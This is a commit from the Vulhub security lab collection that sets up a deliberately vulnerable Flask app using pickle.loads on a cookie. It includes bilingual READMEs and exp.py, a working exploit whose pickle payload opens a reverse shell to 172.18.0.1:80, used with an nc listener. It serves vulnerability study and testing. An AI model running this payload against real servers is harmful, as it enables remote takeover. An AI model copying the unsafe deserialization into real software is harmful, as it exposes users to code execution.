first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
python/unpickle/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

View File

@@ -0,0 +1,14 @@
FROM python:latest
LABEL maintainer="phithon <root@leavesongs.com>"
COPY requirements.txt /tmp/requirements.txt
RUN mkdir /app \
&& pip install -U -r /tmp/requirements.txt
EXPOSE 8000
WORKDIR /app
ENTRYPOINT ["gunicorn"]

69
python/unpickle/README.md Normal file
View File

@@ -0,0 +1,69 @@
# Python Unpickle Deserialization Remote Code Execution
[中文版本(Chinese version)](README.zh-cn.md)
Python's pickle module is a popular serialization/deserialization tool that converts Python objects into byte streams and vice versa. However, when untrusted data is deserialized using pickle, it can lead to arbitrary code execution.
This vulnerability occurs when an application deserializes user-controlled data using the pickle module without proper validation. An attacker can craft a malicious serialized object that, when deserialized, executes arbitrary commands on the target system.
References:
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
- https://docs.python.org/3/library/pickle.html#pickle.loads
- https://intoli.com/blog/dangerous-pickles/
## Environment Setup
Execute the following command to start the vulnerable Flask application:
```
docker compose build
docker compose up -d
```
After the server is started, you can access `http://your-ip:8000` in your browser. The page will display `Hello {username}!`, where username is retrieved from the 'user' cookie. The application performs base64 decoding and deserialization on this cookie to extract the "username" variable. If no valid cookie is found, it defaults to "Guest".
The vulnerable code in app.py looks like this:
```python
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
```
## Vulnerability Reproduction
To exploit this vulnerability, we need to create a malicious pickle object that will execute arbitrary commands when deserialized. The exploit uses Python's `__reduce__` method to specify what function to call when the object is unpickled.
The provided exploit script (exp.py) creates a malicious pickle object that establishes a reverse shell connection to the attacker's machine:
```python
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
```
To execute the exploit, first set up a netcat listener on your machine to receive the reverse shell:
```
nc -lvp 80
```
Then run the exploit script to send the malicious cookie to the vulnerable application:
```
python3 exp.py
```
When the server deserializes the malicious pickle object, it will execute the command and establish a reverse shell connection to your machine:
![Reverse Shell Demonstration](1.png)

View File

@@ -0,0 +1,67 @@
# Python Unpickle 反序列化远程代码执行漏洞
Python的pickle模块是一个流行的序列化/反序列化工具可以将Python对象转换为字节流反之亦然。然而当使用pickle反序列化不受信任的数据时可能导致任意代码执行。
当应用程序在没有适当验证的情况下使用pickle模块反序列化用户可控数据时就会出现此漏洞。攻击者可以构造恶意序列化对象在反序列化时在目标系统上执行任意命令。
参考链接:
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
- https://docs.python.org/3/library/pickle.html#pickle.loads
- https://intoli.com/blog/dangerous-pickles/
## 环境搭建
执行以下命令启动存在漏洞的Flask应用
```
docker compose build
docker compose up -d
```
环境启动后,可以在浏览器中访问`http://your-ip:8000`。页面将显示`Hello {username}!`其中username是从'user' cookie中获取的。应用程序对此cookie执行base64解码和反序列化以提取"username"变量。如果没有找到有效的cookie则默认为"Guest"。
app.py中的漏洞代码如下
```python
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
```
## 漏洞复现
要利用此漏洞我们需要创建一个恶意的pickle对象该对象在反序列化时将执行任意命令。该利用使用Python的`__reduce__`方法来指定对象被反序列化时要调用的函数。
提供的利用脚本(exp.py)创建了一个恶意pickle对象该对象建立与攻击者机器的反向shell连接
```python
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
```
要执行此利用首先在您的机器上设置netcat监听器以接收反向shell
```
nc -lvp 80
```
然后运行利用脚本将恶意cookie发送到存在漏洞的应用程序
```
python3 exp.py
```
当服务器反序列化恶意pickle对象时它将执行命令并建立与您机器的反向shell连接
![反向Shell演示](1.png)

19
python/unpickle/app.py Normal file
View File

@@ -0,0 +1,19 @@
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run()

View File

@@ -0,0 +1,9 @@
version: '2'
services:
flask:
build: .
command: -w 4 -b :8000 -u www-data -g www-data --access-logfile - app:app
volumes:
- .:/app
ports:
- "8000:8000"

20
python/unpickle/exp.py Normal file
View File

@@ -0,0 +1,20 @@
#!/usr/bin/env python3
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
response = requests.get("http://172.18.0.2:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)

View File

@@ -0,0 +1,2 @@
flask
gunicorn